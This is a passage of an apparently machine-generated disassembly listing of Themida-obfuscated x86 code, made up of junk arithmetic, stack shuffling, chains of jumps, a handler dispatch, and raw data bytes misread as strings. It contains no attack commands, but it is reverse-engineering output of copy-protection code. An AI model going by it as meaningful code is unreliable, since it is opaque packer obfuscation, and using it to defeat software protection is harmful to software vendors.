--------------------------------------------------------------------------- aQlSc db 'Q▀,$ИФ',7,0 align 4 loc_5533E8: ; CODE XREF: Themida_:0055040Aj push ebp mov ebp, 3BBF0071h add ebp, 51A543Ch jmp loc_54D5D5 ; --------------------------------------------------------------------------- loc_5533F9: ; CODE XREF: Themida_:00549032j mov edx, 0CAC552A7h sub edx, 465B2E4Eh sub edx, esi add edx, 465B2E4Eh pop esi xor esi, edx pop edx add esi, 723D9A48h xor eax, esi jmp loc_5518A6 ; --------------------------------------------------------------------------- loc_55341D: ; CODE XREF: Themida_:0054EF6Aj mov esp, [esp] jmp loc_554EE7 ; --------------------------------------------------------------------------- loc_553425: ; CODE XREF: Themida_:0054E7B2j push edi mov edi, esp add edi, 4 push ebp jmp loc_5506C9 ; --------------------------------------------------------------------------- dd 0E7E95566h, 8BFFFFA0h, 0C483240Ch, 0DBE95304h, 0C0FFFFECh dd 0EA8005E2h, 5AD13065h, 0E9EBF180h, 0FFFF8AD1h, 4244401h dd 24348B58h, 52E18951h, 0EFA9E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55346A: ; CODE XREF: Themida_:0054B3D1j add eax, esi push dword ptr [esp] jmp loc_555779 ; --------------------------------------------------------------------------- loc_553474: ; CODE XREF: Themida_:00552AFFj pop eax add eax, 4 jmp loc_555F26 ; --------------------------------------------------------------------------- loc_55347F: ; CODE XREF: Themida_:0055395Dj add ebx, 523B57D8h sub ebx, 750939F8h jmp loc_54D54A ; --------------------------------------------------------------------------- loc_553490: ; CODE XREF: Themida_:00551DD5j xchg esi, [esp] mov esp, [esp] jmp loc_54E48E ; --------------------------------------------------------------------------- db 1 dd 243C8BFEh, 0FFFE62E9h db 0FFh ; --------------------------------------------------------------------------- loc_5534A5: ; CODE XREF: Themida_:00552C0Dj add ebp, eax pop eax add edi, ebp jmp loc_5528E3 ; --------------------------------------------------------------------------- loc_5534AF: ; CODE XREF: Themida_:00554A02j add ebx, 4 push esi jmp loc_551B9F ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 0FFF00004h, 0E95A2434h, 0FFFFB1C0h ; --------------------------------------------------------------------------- loc_5534CC: ; CODE XREF: Themida_:00551281j mov [esp], ecx mov ecx, 4 add esi, ecx jmp loc_55417D ; --------------------------------------------------------------------------- loc_5534DB: ; CODE XREF: Themida_:00554B6Ej sub [esp], ebp pop ebp sub ebp, 173B1A63h jmp loc_55028D ; --------------------------------------------------------------------------- dw 0DDB1h dd 0F186C1FEh, 0F186D6F6h, 30E1F180h, 0FFBDE9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5534FE: ; CODE XREF: Themida_:0054CE40j or [edi+1Ch], eax pop eax jmp loc_548929 ; --------------------------------------------------------------------------- loc_553507: ; CODE XREF: Themida_:0054DEC8j or bh, 92h jb loc_555C3D jmp loc_550A32 ; --------------------------------------------------------------------------- loc_553515: ; CODE XREF: Themida_:00551FB5j pop eax jmp loc_555F67 ; --------------------------------------------------------------------------- loc_55351B: ; CODE XREF: Themida_:0054CB55j pop edx push ecx mov cl, 8Eh push 969h mov [esp], eax mov al, 0B5h xor al, 0Fh add bh, al pop eax jmp loc_54A132 ; --------------------------------------------------------------------------- loc_553533: ; CODE XREF: Themida_:0054FCC0j mov ecx, [esp] add esp, 4 xor ecx, 1214548Dh ja loc_54EF92 xor ecx, 20E75E67h inc ecx xor ecx, 0C0E0EC0Bh loc_553552: ; CODE XREF: Themida_:0054A810j push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 jmp loc_550E6D ; --------------------------------------------------------------------------- loc_553565: ; CODE XREF: Themida_:0054FA5Aj push ax jmp loc_54B5A5 ; --------------------------------------------------------------------------- loc_55356C: ; CODE XREF: Themida_:00553A2Dj push 582Ah mov [esp], edx jmp loc_555D49 ; --------------------------------------------------------------------------- db 8Fh, 47h, 40h dd 0FF53A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_553581: ; CODE XREF: Themida_:00549516j push 0BF3h mov [esp], eax push cx mov ch, 84h mov ah, ch mov cx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 2 jmp loc_549458 ; --------------------------------------------------------------------------- loc_5535A4: ; CODE XREF: Themida_:005515D1j xor esi, [esp] jmp loc_54D179 ; --------------------------------------------------------------------------- dd 4C481h, 72E90000h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5535B7: ; CODE XREF: Themida_:0054B9E2j xchg edx, [esp] pop esp jmp loc_548929 ; --------------------------------------------------------------------------- loc_5535C0: ; CODE XREF: Themida_:00555774j mov dl, 0F3h push eax mov ah, 85h and dl, ah mov eax, [esp] add esp, 4 jmp loc_553EE7 ; --------------------------------------------------------------------------- db 5, 0D3h, 7 dd 0C589DFC8h, 0DE76E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5535E2: ; CODE XREF: Themida_:0054A25Cj push ebx mov bh, dh jmp loc_54B271 ; --------------------------------------------------------------------------- loc_5535EA: ; CODE XREF: Themida_:00550B0Bj xor ecx, 402676BAh jg loc_554559 jmp loc_54A6AD ; --------------------------------------------------------------------------- db 0BBh dd 47C4032Eh, 882AB55Ch, 0EF8059EFh, 5BF8001Bh, 0EC83D800h dd 5B90E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553616: ; CODE XREF: Themida_:00554C60j push 6AAAh mov [esp], ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add esp, 4 jmp loc_548929 ; --------------------------------------------------------------------------- loc_553641: ; CODE XREF: Themida_:00548ED4j add dh, 1Eh add dh, bh sub dh, 1Eh pop ebx xor bl, dh pop edx xor al, bl jmp loc_554254 ; --------------------------------------------------------------------------- aN1Hi db '╜1ьhI&',0 align 4 dd 0E9242C89h, 0FFFFC28Ah ; --------------------------------------------------------------------------- loc_553664: ; CODE XREF: Themida_:0054BDA5j push ecx push 4 pop ecx add edi, ecx pop ecx jmp loc_54C9A8 ; --------------------------------------------------------------------------- db 81h dd 815C71C1h, 243C8B0Fh, 8704C483h, 23E9240Ch db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553687: ; CODE XREF: Themida_:005529A9j xor edi, 8F12AF7Ah mov ebx, edi pop edi jmp loc_54B555 ; --------------------------------------------------------------------------- loc_553695: ; CODE XREF: Themida_:00555726j neg eax ja loc_551229 sub eax, 0DA765825h push ebp push eax pop ebp push ecx jmp loc_54AB08 ; --------------------------------------------------------------------------- loc_5536AB: ; CODE XREF: Themida_:0054BFD0j mov [esp], ecx push 561E3769h pop ecx not ecx push edi mov edi, 2C53118Fh sub ecx, edi pop edi and ecx, 619928EDh jnp loc_54D5FA xor ecx, 9E77DFFAh push ecx sub dword ptr [esp], 71B6652Ah mov ebx, [esp] add esp, 4 add ebx, 71B6652Ah pop ecx sub [edi+24h], ebx mov ebx, [esp] add esp, 4 loc_5536F5: ; CODE XREF: Themida_:0054FF1Aj push 0E43h jmp loc_54E81B ; --------------------------------------------------------------------------- loc_5536FF: ; CODE XREF: Themida_:0054D545j push dword ptr [esp] jmp loc_5553BC ; --------------------------------------------------------------------------- loc_553707: ; CODE XREF: Themida_:loc_54FBC6j xor di, 70D1h mov bx, di jmp loc_54A534 ; --------------------------------------------------------------------------- loc_553714: ; CODE XREF: Themida_:0054EA08j ; Themida_:0054F295j shr eax, 7 add eax, 8610423Dh xor edi, eax jmp loc_54CDF4 ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 924A942Dh, 7BE95523h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553737: ; CODE XREF: Themida_:0054DC85j mov ebp, esp add ebp, 4 push edx mov edx, 7FBE3253h jmp loc_555AE9 ; --------------------------------------------------------------------------- aNh db '╜h:<',0 align 10h dd 0B9240C89h, 43F05278h, 0A4E9C829h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55375F: ; CODE XREF: Themida_:00548A97j pop edx mov edx, esi pop esi add eax, 53131D0Bh sub eax, edx push edi mov edi, 4AAA0C5Fh or edi, 14853413h push edi jmp loc_551D94 ; --------------------------------------------------------------------------- loc_55377C: ; CODE XREF: Themida_:00555855j add al, 83h add al, cl push cx jmp loc_54D9EB ; --------------------------------------------------------------------------- loc_553787: ; CODE XREF: Themida_:0054CE4Bj xchg ebx, esi xor esi, 232940A0h add ebx, 0E954D88h add ebx, esi sub ebx, 0E954D88h pop esi add ebx, 4 xchg ebx, [esp] pop esp push esi mov esi, 74D4AD08h add eax, 660A0FC6h sub eax, 0F3B04E2h add eax, esi add eax, 0F3B04E2h push 3965h mov [esp], ebp push 660A0FC6h pop ebp sub eax, ebp jmp loc_5541F6 ; --------------------------------------------------------------------------- loc_5537D4: ; CODE XREF: Themida_:0055176Ej mov [esp], esi push esp mov esi, [esp] add esp, 4 add esi, 4 push ebx push edx mov edx, 2 mov ebx, edx pop edx jmp loc_549FA8 ; --------------------------------------------------------------------------- loc_5537F3: ; CODE XREF: Themida_:00552983j push ebx mov ebx, 0 add ebx, ecx xor dword ptr [ebx], 31275738h pop ebx pop ecx pop edx jmp loc_549F70 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0C08CB551h, 0ED8007E5h, 0B986E9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55381A: ; CODE XREF: Themida_:loc_54925Aj ; Themida_:loc_54B2E7j jmp loc_5524F8 ; --------------------------------------------------------------------------- loc_55381F: ; CODE XREF: Themida_:0054CC63j pop esi add esi, 4 sub esi, 4 jmp loc_54FDBD ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 0C74BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55383A: ; CODE XREF: Themida_:00553CB3j and [edi+1Ch], esi jmp loc_54CCF1 ; --------------------------------------------------------------------------- loc_553842: ; CODE XREF: Themida_:0054B1D2j not ebx neg ebx dec ebx inc ebx jmp loc_552F00 ; --------------------------------------------------------------------------- loc_55384D: ; CODE XREF: Themida_:00555823j jmp loc_54A432 ; --------------------------------------------------------------------------- dw 0EB81h dd 496D6C8Ch, 0FFDA85E9h, 2434FFFFh, 8E82E95Fh, 0C8BFFFFh dd 8D54E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55386E: ; CODE XREF: Themida_:00549520j mov al, 0EFh jmp loc_55576A ; --------------------------------------------------------------------------- loc_553875: ; CODE XREF: Themida_:0054A6F9j or edx, eax shl edx, 1 jmp loc_54F185 ; --------------------------------------------------------------------------- loc_55387E: ; CODE XREF: Themida_:00554E52j push esp pop edi add edi, 4 push esi push edi mov edi, 2623DAAh mov esi, 26185295h xor esi, edi jmp loc_553EBA ; --------------------------------------------------------------------------- loc_553899: ; CODE XREF: Themida_:0054D6C1j mov bl, dl mov al, bl mov ebx, [esp] jmp loc_55536F ; --------------------------------------------------------------------------- loc_5538A5: ; CODE XREF: Themida_:0054D19Dj ; Themida_:loc_554364j shl eax, 4 js loc_54D6D9 jmp loc_551478 ; --------------------------------------------------------------------------- db 0ADh dd 0FFEBB4E9h, 98F780FFh, 0FA5A355Bh, 0C689108Ah, 0F7C68158h dd 46754661h, 0FF55B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5538D1: ; CODE XREF: Themida_:0054C03Cj push edx jmp loc_554BB6 ; --------------------------------------------------------------------------- db 81h dd 0DE8222C3h, 5BD801FDh, 0E9240487h, 0FFFFCC6Eh ; --------------------------------------------------------------------------- loc_5538E8: ; CODE XREF: Themida_:0054FC22j shr ecx, 7 sub esp, 4 mov [esp], ebx jmp loc_551CCC ; --------------------------------------------------------------------------- loc_5538F9: ; CODE XREF: Themida_:0054CC94j shl esi, 7 add esi, 7DE7FB04h add edi, esi pop esi push ebp push eax push 6FC46D1Ah pop eax jmp loc_54A5AB ; --------------------------------------------------------------------------- dw 0FF51h dd 59042474h, 8B24048Fh, 14892424h, 56E36824h, 2C890000h dd 0EC64E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55392E: ; CODE XREF: Themida_:0054B89Bj add eax, 1E4A277Fh jp loc_54D18A add eax, 54B154DEh neg eax jns loc_54E45B loc_553946: ; CODE XREF: Themida_:00551348j pop ebp jmp loc_555F10 ; --------------------------------------------------------------------------- loc_55394C: ; CODE XREF: Themida_:0054CC72j push esi mov esi, 2A091DF4h neg esi sub esi, 61D2B69Bh sub ebx, esi pop esi jmp loc_55347F ; --------------------------------------------------------------------------- dw 0BE56h dd 0CE88BD25h, 55EF731h, 59F44624h, 0BD55F829h, 59F44624h dd 0FF5DE829h, 575F2434h, 0C781E789h, 4, 8704C783h, 0E95C243Ch dd 0FFFFAC95h ; --------------------------------------------------------------------------- loc_553994: ; CODE XREF: Themida_:005515D7j sub edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_5525CA ; --------------------------------------------------------------------------- loc_5539A5: ; CODE XREF: Themida_:0054F7FAj push edi jmp loc_54F402 ; --------------------------------------------------------------------------- db 52h dd 60240481h, 5939B871h, 7160E981h, 815A39B8h, 6C5117C1h dd 81E92944h, 6C5117E9h, 0EC835D44h, 0B959E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5539D2: ; CODE XREF: Themida_:00555A35j sub bl, al sub bl, 0E4h push edx mov dh, 0F5h shr dh, 6 or dh, 38h shl dh, 2 dec dh jmp loc_5553DF ; --------------------------------------------------------------------------- loc_5539EA: ; CODE XREF: Themida_:00555B24j xchg esi, [esp] pop esp sub esp, 4 jmp loc_54AE85 ; --------------------------------------------------------------------------- loc_5539F9: ; CODE XREF: Themida_:00555398j push dword ptr [esp] pop edx add esp, 4 xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 1E5AE9h db 0 ; --------------------------------------------------------------------------- loc_553A0D: ; CODE XREF: Themida_:00552C67j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop ebp pop eax rep movsd add esp, [edx+38h] jmp loc_54F2D9 ; --------------------------------------------------------------------------- loc_553A29: ; CODE XREF: Themida_:0054FC43j ; Themida_:00554F27j xor al, bh pop bx jmp loc_55356C ; --------------------------------------------------------------------------- dw 0C483h dd 0E7895704h, 4C781h, 0B8500000h, 4, 6C29EF81h, 0C7296929h dd 6C29B951h, 0CF016929h, 3C875859h, 1C895C24h, 95B9E924h dd 0E951FFFFh, 0FFFFC17Bh ; --------------------------------------------------------------------------- loc_553A68: ; CODE XREF: Themida_:0054C9CBj mov ecx, 2D91318h add ecx, 4BCC1A92h neg ecx sub ecx, 0D69FF5BDh sub ebx, ecx pop ecx push ebx jmp loc_5547D2 ; --------------------------------------------------------------------------- loc_553A84: ; CODE XREF: Themida_:00551C62j and ah, 55h jmp loc_550E0B ; --------------------------------------------------------------------------- loc_553A8C: ; CODE XREF: Themida_:0054CB4Cj pop edx pop ebx push esi push 4868h push 4B23h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push 1C05h jmp loc_54D2A2 ; --------------------------------------------------------------------------- loc_553AB0: ; CODE XREF: Themida_:005545B3j add bl, cl pop cx push edx mov dh, 5Bh not dh push cx mov cl, 0CCh add dh, cl pop cx sub bl, 18h jmp loc_5529E7 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 468h, 7C015F00h, 3C8B0424h, 4C48324h, 4C18159h, 83000000h dd 0F1E902C1h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553AEB: ; CODE XREF: Themida_:00548F89j xor edi, 2B4E47D5h xor edi, 17BF2846h push eax mov eax, edi mov esi, eax pop eax jmp loc_54CB84 ; --------------------------------------------------------------------------- loc_553B02: ; CODE XREF: Themida_:0054EE6Fj pop esp mov [esp], ax jmp loc_548929 ; --------------------------------------------------------------------------- dd 66D830ACh, 27B75352h, 0FFBDE1E9h, 1C77FFFFh, 411589Dh dd 2E99C24h db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553B27: ; CODE XREF: Themida_:0054D6FDj pop dx push ebx mov bh, 0B0h jmp loc_552D3A ; --------------------------------------------------------------------------- loc_553B31: ; CODE XREF: Themida_:00553133j sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp mov ebp, 1B217A63h sub dword ptr [esp+4], 76D8497Eh sub [esp+4], ebp add dword ptr [esp+4], 76D8497Eh pop ebp mov eax, [esp] jmp loc_550BA3 ; --------------------------------------------------------------------------- loc_553B5D: ; CODE XREF: Themida_:00550BB8j mov esi, 2905FCh jmp loc_551E21 ; --------------------------------------------------------------------------- db 57h dd 974DA5BFh, 6EFC120h, 77CCE781h, 0EF81455Bh, 3F632DE4h dd 4DFEB850h, 0D0F76322h, 672DE0D1h, 29B4E470h, 7FEEE9C7h dd 8957FFFFh, 4C781E7h, 83000000h, 3C8704C7h, 0D8285C24h dd 504982Ch, 6602EC83h, 50240C89h, 0E982B753h, 0FFFF6057h ; --------------------------------------------------------------------------- loc_553BB8: ; CODE XREF: Themida_:0054A53Ej shr cx, 3 jnz loc_554B8D not cx add cx, 1AE2h mov dh, 18h mov dh, ah push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54C5A5 ; --------------------------------------------------------------------------- loc_553BDF: ; CODE XREF: Themida_:00555C06j add ecx, 4 xchg ecx, [esp] pop esp or esi, 1FD408A6h push 9FDh jmp loc_55247B ; --------------------------------------------------------------------------- loc_553BF6: ; CODE XREF: Themida_:0054CA9Cj push edx mov dh, al mov cl, dh pop edx mov dh, cl pop ecx pop eax push ecx mov ecx, 28h add ecx, edi mov [ecx], dh pop ecx pop edx pop ebx jmp loc_548929 ; --------------------------------------------------------------------------- loc_553C12: ; CODE XREF: Themida_:00550E25j sub bl, 2Fh push edx mov dh, 45h shl dh, 3 add dh, 0C5h inc dh jmp loc_54A0F7 ; --------------------------------------------------------------------------- db 83h, 0E8h, 4 dd 2133E9h db 0 ; --------------------------------------------------------------------------- loc_553C2D: ; CODE XREF: Themida_:0054E074j neg esi jno loc_548FA5 add esi, 0F4CE234Ah mov edx, esi jmp loc_54EEC0 ; --------------------------------------------------------------------------- db 57h ; --------------------------------------------------------------------------- loc_553C43: ; CODE XREF: Themida_:0054D3DFj ; Themida_:0054D887j mov [esp], edx jmp loc_54E9AC ; --------------------------------------------------------------------------- loc_553C4B: ; CODE XREF: Themida_:00551DB5j pop edi mov edx, [esp] add esp, 4 sub ebx, 43C81C08h sub ebx, 3BD02EE9h sub ebx, eax jmp loc_54D0B2 ; --------------------------------------------------------------------------- align 2 dw 0E9F0h dd 0FFFF8606h, 76F7C581h, 890F74E7h, 0FFFF63EAh, 0E656F581h dd 0E989F771h, 59C8015Dh, 468D829h, 89000008h, 0F5BA2414h dd 8178F835h, 1EAh, 66EA8100h, 5001E414h, 0FF7A47E9h db 0FFh ; --------------------------------------------------------------------------- loc_553CA5: ; CODE XREF: Themida_:0054DF9Dj pop ebx push edx jmp loc_54E0BE ; --------------------------------------------------------------------------- loc_553CAC: ; CODE XREF: Themida_:0054D7FCj pop ebx add esp, 4 jmp loc_55383A ; --------------------------------------------------------------------------- loc_553CB8: ; CODE XREF: Themida_:00551CEAj mov eax, 7034612h and eax, 779E256Dh or eax, 4B6E6CE2h add eax, 0B0919322h add ebx, eax pop eax push eax mov eax, 75000153h jmp loc_54B234 ; --------------------------------------------------------------------------- loc_553CDA: ; CODE XREF: Themida_:00551D7Ej add esp, 4 inc ebp dec ebp add ebp, 0ED0EF6F7h sub ebx, 3B342EF7h jmp loc_549201 ; --------------------------------------------------------------------------- db 89h dd 4BF243Ch, 0E9000000h, 0FFFFB605h, 1E6F830Fh, 0CDFE0000h dd 0B3E9C580h, 59EB004Ch ; --------------------------------------------------------------------------- loc_553D10: ; CODE XREF: Themida_:0054C7D0j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ecx mov ch, 0D1h add bl, ch jmp loc_5490E0 ; --------------------------------------------------------------------------- loc_553D28: ; CODE XREF: Themida_:00553F73j ; Themida_:00555829j xchg edi, [esp] pop esp shr ecx, 6 push ebx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_552221 ; --------------------------------------------------------------------------- loc_553D3E: ; CODE XREF: Themida_:0054CD28j jmp loc_54E28D ; --------------------------------------------------------------------------- loc_553D43: ; CODE XREF: Themida_:00548D3Fj pop esp push dword ptr [esp] pop edx sub esp, 4 mov [esp], eax push 71B4h jmp loc_54B285 ; --------------------------------------------------------------------------- loc_553D58: ; CODE XREF: Themida_:00554869j pop ecx sub al, dl add al, 6Ah mov edx, [esp] add esp, 4 sub esp, 2 jmp loc_5529D4 ; --------------------------------------------------------------------------- loc_553D6E: ; CODE XREF: Themida_:0054B9D2j push 23C3h mov [esp], ebp push edi mov edi, 6BC06060h jmp loc_5497C1 ; --------------------------------------------------------------------------- loc_553D81: ; CODE XREF: Themida_:00553394j push ebp jmp loc_55517E ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 7090h, 89240489h, 405E0h, 0EC830000h, 1F7AE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553DA2: ; CODE XREF: Themida_:0054B5E1j push edi mov edi, 4CA15E65h add edi, 292624A2h xor edi, 301711FAh sub edi, 0D8B14BB2h sub esi, edi pop edi and esi, 3A2626FDh xor esi, 296E0420h add edx, 2AAF604Fh jmp loc_5490AA ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Ah, 2424D35Ch, 0FF4B44E9h, 0FDE957FFh db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553DEB: ; CODE XREF: Themida_:0055244Ej add dh, cl pop cx add al, dh jmp loc_5520DF ; --------------------------------------------------------------------------- loc_553DF6: ; CODE XREF: Themida_:0055175Dj mov esi, 1 sub eax, esi jmp loc_549AD5 ; --------------------------------------------------------------------------- loc_553E02: ; CODE XREF: Themida_:00553FC8j mov eax, esp push ebp mov ebp, 28A57862h jmp loc_55071C ; --------------------------------------------------------------------------- loc_553E0F: ; CODE XREF: Themida_:0054DFF9j mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_548929 ; --------------------------------------------------------------------------- db 81h dd 1D6BA8F6h, 0E9F18934h, 0FFFF8541h, 9486E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553E2E: ; CODE XREF: Themida_:00553192j push edx jmp loc_554EA7 ; --------------------------------------------------------------------------- loc_553E34: ; CODE XREF: Themida_:loc_54A69Dj ; Themida_:005502A8j jmp loc_549544 ; --------------------------------------------------------------------------- loc_553E39: ; CODE XREF: Themida_:005514A5j pop edi add bx, 1053h push ecx push small 4DBEh pop cx shr cx, 2 shl cx, 2 not cx sub cx, 5EDh push cx not word ptr [esp] pop cx xor cx, 4732h sub bx, cx pop ecx push eax mov ax, 784Dh xor ax, 7CBDh jmp loc_54DC2C ; --------------------------------------------------------------------------- db 59h, 83h, 0C4h dd 0FFEA0104h, 575D2434h, 0C781E789h, 4, 4C781h, 3C870000h dd 14875C24h, 2CD25C24h, 8AE99C24h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553E9F: ; CODE XREF: Themida_:00552F8Bj jmp loc_550916 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 8704C183h, 248B240Ch, 0DCF2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553EBA: ; CODE XREF: Themida_:00553894j pop edi sub esi, 247A6F3Dh add edi, esi mov esi, [esp] add esp, 4 xchg edi, [esp] pop esp push 80Eh mov [esp], ebx jmp loc_54D95E ; --------------------------------------------------------------------------- loc_553EDD: ; CODE XREF: Themida_:00549865j push 4FC04404h jmp loc_54CBAD ; --------------------------------------------------------------------------- loc_553EE7: ; CODE XREF: Themida_:005535D0j shr dl, 6 jmp loc_552A18 ; --------------------------------------------------------------------------- loc_553EEF: ; CODE XREF: Themida_:0054A101j add esp, 2 push ecx mov ch, 0C1h jmp loc_5516DE ; --------------------------------------------------------------------------- loc_553EFD: ; CODE XREF: Themida_:00554D6Cj xor edi, 0BD1CBA0Ch add edx, 6EA52FC8h add edx, edi jmp loc_54FA11 ; --------------------------------------------------------------------------- dd 68240C8Bh, 1998h, 89241C89h, 4C381E3h, 51000000h, 0B0414FB9h dd 4BE98135h, 135B041h, 9C6859CBh, 8900003Dh, 74FF241Ch dd 34FF0424h, 89515B24h, 4C181E1h, 83000000h, 0C8704E9h dd 2C895C24h, 81E58924h, 4C5h, 4A9AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553F62: ; CODE XREF: Themida_:00549917j mov edx, 24h push edi jmp loc_5496AA ; --------------------------------------------------------------------------- loc_553F6D: ; CODE XREF: Themida_:0054AAC3j ; Themida_:0055199Fj add edi, 4 jmp loc_553D28 ; --------------------------------------------------------------------------- dd 4EC81h, 2C890000h, 0D3E95024h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553F87: ; CODE XREF: Themida_:0055143Bj jmp loc_54F456 ; --------------------------------------------------------------------------- dd 0FE0CEF80h, 0F8EF80C7h, 2824EF80h, 2434FFF8h, 0FF75BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_553FA1: ; CODE XREF: Themida_:0054A839j mov esi, 2DD6571Bh inc esi add esi, 798D14DAh jmp loc_554A07 ; --------------------------------------------------------------------------- dw 555Dh dd 630835BDh, 0D61EE91Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553FBE: ; CODE XREF: Themida_:00550D9Ej pop esp add esp, 4 imul ecx push eax jmp loc_553E02 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 81E28952h, 4C2h, 18CFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553FDE: ; CODE XREF: Themida_:0054E8B0j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax jmp loc_548929 ; --------------------------------------------------------------------------- loc_554006: ; CODE XREF: Themida_:0054F810j push edi push ecx mov ecx, 541D177Eh inc ecx js loc_554AA8 inc ecx jge loc_54F3ED add ecx, 0EC3F36h jmp loc_552221 ; --------------------------------------------------------------------------- dw 0C689h dd 6FB5BBB1h, 0EE30CEB6h, 52536659h, 0FFE74DE9h db 0FFh ; --------------------------------------------------------------------------- loc_554039: ; CODE XREF: Themida_:0054FA2Bj mov ebx, 1AD057ADh jmp loc_54CABA ; --------------------------------------------------------------------------- db 51h dd 0FF7C70E9h, 1C335DFFh, 1F21E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554052: ; CODE XREF: Themida_:0054A0D1j dec dh jmp loc_54D092 ; --------------------------------------------------------------------------- loc_554059: ; CODE XREF: Themida_:loc_5503ECj sub ecx, 152028Ah jge loc_551D64 xor ecx, 56C3B1A8h mov ebx, ecx pop ecx push ebp mov ebp, 891113Ah push small 3AA8h pop si or bx, si jmp loc_550E5F ; --------------------------------------------------------------------------- loc_554082: ; CODE XREF: Themida_:loc_54B151j and edi, 6FA6326Eh shl edi, 7 jz loc_55137C add edi, 0ECF7CA04h mov eax, edi jmp loc_54BDAA ; --------------------------------------------------------------------------- loc_55409E: ; CODE XREF: Themida_:loc_555E54j add edi, ecx sub edi, 77B27011h jmp loc_550D94 ; --------------------------------------------------------------------------- db 51h dd 0FF4C09E9h db 0FFh ; --------------------------------------------------------------------------- loc_5540B1: ; CODE XREF: Themida_:00548C17j mov eax, 4EC03EB1h add ebx, eax pop eax pop eax sub ebx, eax sub ebx, 16EE5282h push ecx mov ecx, 4E48390Bh jmp loc_54E127 ; --------------------------------------------------------------------------- loc_5540CD: ; CODE XREF: Themida_:0054B9EAj add dword ptr [esp], 4 pop edx push ebx jmp loc_54DA85 ; --------------------------------------------------------------------------- aIshx? db '┴АhЕ?',0 align 2 dw 3C89h dd 46824h, 15F0000h, 2A5E9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5540F2: ; CODE XREF: Themida_:0054AE18j or ecx, 510B659Ch push esi mov esi, 6ED53E10h jmp loc_551CEF ; --------------------------------------------------------------------------- loc_554103: ; CODE XREF: Themida_:0054FA69j add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_54A3EC ; --------------------------------------------------------------------------- loc_554114: ; CODE XREF: Themida_:0054D438j sub edi, 6A7A15F1h jmp loc_54E476 ; --------------------------------------------------------------------------- db 8Bh db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi mov edi, 27D16174h push edx push esi push 55CB5D05h jmp loc_54DEE9 ; --------------------------------------------------------------------------- loc_55413D: ; CODE XREF: Themida_:00549DE3j jmp loc_54A70C ; --------------------------------------------------------------------------- loc_554142: ; CODE XREF: Themida_:00551893j jp loc_555633 or edx, 7F0C0425h jg loc_55134D inc edx jnz loc_555B75 push 2A40h add ebx, eax pop eax add esi, ebx jmp loc_54BE49 ; --------------------------------------------------------------------------- loc_55416A: ; CODE XREF: Themida_:loc_54FDC6j xor ebp, 227A3AFDh xor ebp, 65C74D55h mov edi, ebp jmp loc_555191 ; --------------------------------------------------------------------------- loc_55417D: ; CODE XREF: Themida_:005534D6j pop ecx sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], edx jmp loc_54EE53 ; --------------------------------------------------------------------------- db 53h dd 88EC8850h, 885058E3h, 8D52E9D4h, 0C635FFFFh, 0F7657041h dd 3BBF57D8h, 0E916E61Ch, 0FFFFB8BEh, 0FF4774E9h db 0FFh ; --------------------------------------------------------------------------- loc_5541B5: ; CODE XREF: Themida_:00552A84j ; Themida_:0055325Cj pop ebx xor ebx, 71055B35h jnp loc_5546B9 shl ebx, 5 jnp loc_54D3C0 pop esi loc_5541CC: ; CODE XREF: Themida_:00555A61j shl esi, 2 jnp 